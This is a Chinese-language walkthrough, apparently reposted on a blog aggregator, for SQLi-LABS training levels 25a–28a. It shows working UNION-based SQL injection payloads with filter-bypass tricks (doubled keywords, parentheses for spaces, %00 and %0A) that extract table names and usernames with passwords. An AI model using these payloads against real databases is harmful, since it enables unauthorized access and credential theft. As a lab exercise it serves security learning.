当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less25a-28a详细通关攻略

less 25a GET- Blind based -All your OR & AND belong to us -lntiger based

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。可以确定是数字型注入。

?id=2 aandnd 1=1 --+
?id=2 aandnd 1=2 --+

2.判断注入方式

在进行闭合判断时,没有报错注入的相关注入,可以尝试联合注入。

3.判断列数和回显点

1 oorrder by 4 --+1 oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1 union select 1,2,3 --+

4.构造报错注入语句获取数据库名称

-1 union select 1,2,database() --+

5.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤。

-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

6.查询字段名

-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name = users--+

7.查询具体信息

password中的or。

?id=-1 union select 1,group_concat(username,passwoorrd),3 from users --+

less 26a GET -Blind based -All your SPACES and COMMENTS belong to us -String-single quotes-Parenthesis

在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +和其他可代替符号都不能使了。

这关使用的是单引号加括号的闭合方式,后面注释我们使用%00截断

1.构造报错注入语句获取数据库名称

0')union(select(1),(2),(select(database())));%00

2.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。

0')union(select(1),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00

3.查询字段名

0')union(select(1),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name="users")),(3));%00

4.查询具体信息

password中的or。

0')union(select(1),(select(group_concat(username,passwoorrd))from(users)),(3));%00

less 27a GET -Blind based -All your UNION & SELECT belong to us -Double quote

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。

1" and (1=1);%00
1" and (1=2);%00

2.判断注入方式

在进行闭合判断时,没有xpath语句报错,过滤union/select,双写绕过使用联合注入。

3.构造报错注入语句获取数据库名称

0"uNiOn (sElect(1),(2),(selEct(database())));%00

4.构造语句查询数据库中的表信息

0"unIon(seleCt(1),(seLect(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00

5.查询字段名

0"uniOn(sElect(1),(seleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name="users")),(3));%00

6.查询具体信息

0"uNion(seleCt(1),(sElect(group_concat(username,password))from(users)),(3));%00

less28a GET -Blind Based -All your UNION & SELECT Belong to us -Single quote parenthesis

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union select。使用括号代替空格,双写代替union select。

2')and(1=1) ;%00
2')and(1=2) ;%00

这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')

2.判断注入方式

这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。

3.构造报错注入语句获取数据库名称

符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。

0')uniunion%0Aselecton%0Aselect%0A1,database(),3;%00

4.构造语句查询数据库中的表信息

0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3;%00

5.查询字段名

0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3;%00

6.查询具体信息

0')%0a union%0aunion %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3;%00

http://www.lryc.cn/news/606513.html

相关文章:

  • ESP32 外设驱动开发指南 (ESP-IDF框架)——GPIO篇:基础配置、外部中断与PWM(LEDC模块)应用
  • 机械学习--逻辑回归
  • 第1章:基础篇——第1节:基础操作与认识界面
  • Vercel 全面介绍与网站部署指南
  • 老旧远程控制管理模块(物联网设备)渗透实战:SNMP泄露+内核提权攻击链深度解析
  • Gold 序列
  • 7月31号打卡
  • nvm安装nodejs后提示No installations recognized
  • 爱普生002墨水与004墨水基本参数及支持机型
  • pyspark使用
  • 火焰图(Flame Graph)深度指南:CPU性能分析与瓶颈定位
  • STM32——HAL 库MDK工程创建
  • 计算机网络知识【推荐!!!】按照OSI七层模型梳理
  • 动手学习深度学习-深度学习知识大纲
  • Spring Boot + MinIO + KKFile:三步搭建企业级文件预览系统
  • SpringBoot3.x入门到精通系列:1.2 开发环境搭建
  • 前端核心技术Node.js(二)——path模块、HTTP与模块化
  • 2025年物联网新趋势:格行随身WiFi的模块化架构与低延迟优化
  • 代码随想录算法训练营第三十七天
  • 从C语言到C++:拥抱面向对象编程的全新世界
  • LCGL使用简介
  • 【qiankun】基于vite的qiankun微前端框架下,子应用的静态资源无法加载的问题
  • 详解Vite 配置中的代理功能
  • 基于岗位需求的康养休闲旅游服务实训室建设方案
  • 【赵渝强老师】OceanBase租户的资源管理
  • Opus音频编码器全解析:从技术原理到实战应用
  • 在 CentOS 7 安装中文字体
  • yolo目标检测基础知识
  • 【算法基础课-算法模板2】数据结构
  • 【Node】nvm在windows系统无管理员权限切换node版本